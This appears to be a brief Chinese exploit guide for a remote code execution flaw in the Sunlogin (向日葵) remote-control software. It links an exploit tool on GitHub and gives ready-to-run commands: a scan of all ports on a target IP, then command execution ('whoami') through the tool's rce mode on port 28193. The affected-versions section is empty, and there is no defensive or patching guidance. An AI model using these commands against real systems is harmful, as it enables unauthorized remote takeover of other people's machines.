某日葵RCE

向日葵REC

前言: 向日葵远程控制是一款提供远程控制服务的软件。向日葵远程控制支持主流操作系统Windows、Linux、Mac、Android、iOS跨平台协同操作，在任何可连入互联网的地点，都可以轻松访问和控制安装了向日葵远程控制客户端的设备

受影响版本

 

1、下载xrkRce.exe工具，需要go环境

https://github.com/Mr-xn/sunlogin_rce

2、扫描端口号

xrkRce.exe -h 你的ip -t scan -p 1-65535

3、漏洞利用

xrkRce.exe -h 你的ip -t rce -p 28193 -c "whoami"